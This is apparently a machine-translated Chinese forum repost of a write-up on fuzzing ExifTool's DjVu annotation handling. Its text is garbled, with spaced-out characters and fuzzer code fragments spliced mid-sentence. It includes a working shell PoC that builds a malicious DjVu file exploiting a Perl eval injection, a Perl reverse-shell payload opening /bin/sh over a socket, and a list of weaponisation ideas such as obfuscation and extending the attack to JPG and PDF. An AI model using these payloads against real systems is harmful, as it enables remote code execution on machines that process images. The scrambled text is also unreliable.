在 前 置 / 附 加 生 成 的 字 符 串 中 生 成 匹 配 的 嵌 套 字 符 。 如 果 { 出 现 在 前 置 字 符 串 中 ， 有 机 会 将 } 放 入 附 加 字 符 串 中 。 更 智 能 的 转 义 不 是 只 用 随 机 转 义 任 何   A S C I I   字 符 ， 而 是 有 机 会 用 c 、 x 和 其 他 带 参 数 的 转 义 来 转 义 。 更 智 能 的 随 机 数 生 成 器   ( R N G )   状 态 管 理 如 果 我 们 想 要 复 制 部 分 运 行 ， 则 定 期 将   R N G   状 态 转 储 到 文 件 中 以 减 少 开 销 。 这 样 ， 我 们 不 仅 可 以 从 头 开 始 重 新 启 动 ， 还 可 以 在 找 到 有 趣 的 输 入 之 前 不 久 重 新 启 动 。 制 作 制 作   D j V u   文 件 文 件 现 在 剩 下 要 做 的 就 是 将 此 有 效 负 载 包 装 在   D j V u   文 件 中 ， 以 便 正 确 处 理 。 我 最 初 尝 试 使 用 d j v u s e d   等 工 具 手 动 设 置 注 释 ， 但 我 无 法 保 留 所 需 的 转 义 。 在 将 字 符 串 放 入 文 件 之 前 ， d j v u s e d 似 乎 在 对 字 符 串 中 的 字 符 进 行 转 义 。 这 一 定 是 E x i f T o o l   首 先 处 理   c   样 式 转 义 的 原 因 。 它 似 乎 也 从 未 创 建 未 压 缩 的   A N T a   块 ， 只 是 压 缩 了   A N T z   块 ， 因 此 简 单 的 十 六 进 制 编 辑 也 不 容 易 。 果 然 ， 通 过 d j v l i b r e 的 来 源 以 及 它 如 何 保 存 注 释 ， 内 容 是 通 过 一 个 m a k e _ c _ s t r i n g 函 数 传 递 的 ， 该 函 数 似 乎 对 某 些 字 符 进 行 了 转 义 。 因 为 使 用 d j v u s e d 似 乎 很 容 易 ， 所 以 我 想 我 只 需 要 构 建 一 个 自 定 义 的 l i b d j v l i b r e . s o 而 不 进 行 转 义 ， 并 使 用 我 的 修 改 版 本 和 L D _ L I B R A R Y _ P A T H 。 在 这 一 点 上 ， 我 意 识 到 了 第 一 个 公 开 的   P o C   和 文 章 。 我 发 现 J a k u b   W i l k   的   P o C 简 单 得 多 ， 而 且 是 我 自 己 的   P o C   的 更 好 起 点 。 这 是 我 结 束 的 快 速 而 肮 脏 的   P o C ， 使 用   J a k u b   创 建   D j V u   文 件 的 更 简 单 的 方 法 ， 我 发 现 了 c 绕 过 ：                 $ e x e c s p e e d _ a   =   $ e x e c s p e e d _ b ;                 $ e x e c s p e e d _ b   =   $ i ;                 $ e x e c s p e e d   =   $ e x e c s p e e d _ b   -   $ e x e c s p e e d _ a ;                 $ l a s t _ t i m e s t a m p   =   $ t i m e s t a m p ; p r i n t ( " [ F U Z Z E R ]   h e a r t b e a t   $ t i m e s t a m p :   ~ $ e x e c s p e e d   e x e c / s n " ) ; #   d o n ' t   p r i n t   a   m a s s i v e   f i l e   u n t i l   w e ' r e   j u s t   a b o u t   t o   s t r i k e   g o l d i f   ( $ t i m e s t a m p   -   $ t i m e s t a m p _ s t a r t   > =   4 2 7 0 )   {                     $ p r i n t _ i n p u t s   =   1 ;                 }             }             $ l a s t _ i   =   $ i ;         } #   X X X   c a l l   v u l n e r a b l e   c o d e   h e r e ! # p r i n t ( " [ F U Z Z E R ]   i n p u t :   $ d a t a n " ) ; #   l e t ' s   t r y   d i f f e r e n t i a l   t e s t i n g p r i n t ( j o i n ( ' ' , ( " t r y i n g   i n p u t :   " ,   $ d a t a ,   " n " ) ) )   i f   $ p r i n t _ i n p u t s ; m y   $ r e s   =   p r o c e s s _ r e g e x ( $ d a t a ) ;     } } f u z z ( ) ; $   p e r l   . / f u z z _ l i g h t . p l   & >   f u z z _ l o g . t x t $   e c h o   $ ? 4 2 . . . [ F U Z Z E R ]   h e a r t b e a t   1 6 2 0 4 3 5 1 3 7 :   ~ 7 6 0 0 0   e x e c / s V a r i a b l e   " @ a "   i s   n o t   i m p o r t e d   a t   ( e v a l   9 5 6 6 4 5 )   l i n e   1 . [ F U Z Z E R ]   h e a r t b e a t   1 6 2 0 4 3 5 1 3 8 :   ~ 7 7 0 0 0   e x e c / s . . . t r y i n g   i n p u t :   " R c @ y ; e x i t ( 4 2 ) ; ; 2 " V a r i a b l e   " @ y "   i s   n o t   i m p o r t e d   a t   ( e v a l   3 3 4 0 1 7 3 5 4 )   l i n e   1 .
事 实 上 ， 这 适 用 于   E x i f T o o l   1 2 . 2 3 ： 我 们 可 以 找 到 一 个 得 到 一 个 更 令 人 兴 奋 的 P o C 工 作 的 P e r l 反 向 外 壳 和 手 动 与 他 们 的 价 值 观 替 代 变 量 ， 因 为 $ 我 们 的 代 码 包 裹 内 $   { . . . } 不 能 转 义 与 我 们   C 伎 俩 。 它 不 是 内 插 的 ， 因 为 它 是 代 码 ， 而 不 是 字 符 串 ： 额 外 学 分 额 外 学 分 以 下 是 我 对 进 一 步 武 器 化 这 个   P o C   的 一 些 想 法 ， 但 我 没 有 尝 试 任 何 这 些 。 自 动 转 换   P e r l   有 效 负 载 以 适 合 在 c $ {   . . .   }   中 使 用 。 应 用 混 淆 /   p e r l g o l f 技 巧 使 分 析 更 加 烦 人 。 在 有 效 负 载 中 分 叉 以 避 免 挂 起 受 害 者 进 程 。 构 建 工 具 以 自 动 创 建 恶 意   D j V u   文 件 。 分 析   E x i f T o o l   以 确 定 还 有 哪 些 其 他 代 码 路 径 可 以 使 用 更 常 见 的 文 件 格 式 （ 如   j p g   或   p d f ） 访 问 易 受 攻 击 的 代 码 。 其 他 其 他   P o C   和 文 章 和 文 章 这 是 漏 洞 的 原 始 发 现 者 的 文 章 。 文 章 详 细 说 明 了 他 们 是 如 何 找 到 它 的 ， 他 们 在 每 一 步 的 思 考 过 程 ， 以 及 他 们 如 何 找 到 多 种 方 法 来 利 用 不 同 文 件 格 式 的 漏 洞 。 这 是 J a k u b   W i l k 的 一 个 更 简 单 的   P o C ， 这 是 我 所 知 道 的 第 一 个 公 共   P o C 。 简 短 ， 甜 蜜 ， 重 点 是 ， 它 使 用 n 来 逃 避 消 毒 而 不 是 c 。 这 篇 关 于 b r i c k e d . t e c h   的 文 章 还 使 用 了 模 糊 器 ， 使 用   P y t h o n   找 到 了 绕 过 消 毒 的 方 法 。 它 像   J a k u b   的   P o C   一 样 找 到 n 处 理 ， 而 不 是 c 处 理 。 它 也 比 这 篇 文 章 更 短 更 简 单 。 这 是   M e t a s p l o i t   的 （ 现 已 合 并 ） 拉 取 请 求 ， 用 于 添 加 此   C V E   的 漏 洞 利 用 ， 显 然 使 用 c 技 巧 而 不 是 n ， 以 及 其 他 文 件 格 式 ， 如   J P G 。 阅 读 原 文 $   c a t   m y _ p o c . s h   # ! / b i n / b a s h #   l e t ' s   u s e   j a k u b ' s   t e c h n i q u e   t o   b u i l d   t h e   f i l e ,   b u t   u s e   c p r i n t f   ' P 1   1   1   0 '   >   m i n e . p b m c j b 2   m i n e . p b m   m i n e . d j v u #   f u z z e r   f i n d :   " % 2 c $ { ; e x i t ( 4 2 ) ; ; * } C ] " p r i n t f   ' A N T a 0 0 0 4 0 ( x m p   " c $ { e x i t ( 4 2 ) } ; #                     " '   > >   m i n e . d j v u e c h o   " c r e a t e d   m a l i c i o u s   m i n e . d j v u " $   p e r l   e x i f t o o l / e x i f t o o l   m i n e . d j v u   & >   / d e v / n u l l $   e c h o   $ ? 4 2 # ! / b i n / b a s h p r i n t f   ' P 1   1   1   0 '   >   r e v s h e l l . p b m c j b 2   r e v s h e l l . p b m   r e v s h e l l . d j v u p r i n t f   ' A N T a 0 0 0 x d 3 '   > >   r e v s h e l l . d j v u c a t   < < ' E O F '   > >   r e v s h e l l . d j v u ( x m p   " c $ { u s e   S o c k e t ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( ' t c p ' ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( 1 3 3 7 , i n e t _ a t o n ( ' l o c a l h o s t ' ) ) ) ) { o p e n ( S T D I N , ' > & S ' ) ; o p e n ( S T D O U T , ' > & S ' ) ; o p e n ( S T D E R R , ' > & S ' ) ; e x e c ( ' / b i n / s h   - i ' ) ; } ; } ; # " E O F e c h o   " c r e a t e d   m a l i c i o u s   r e v s h e l l . d j v u "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理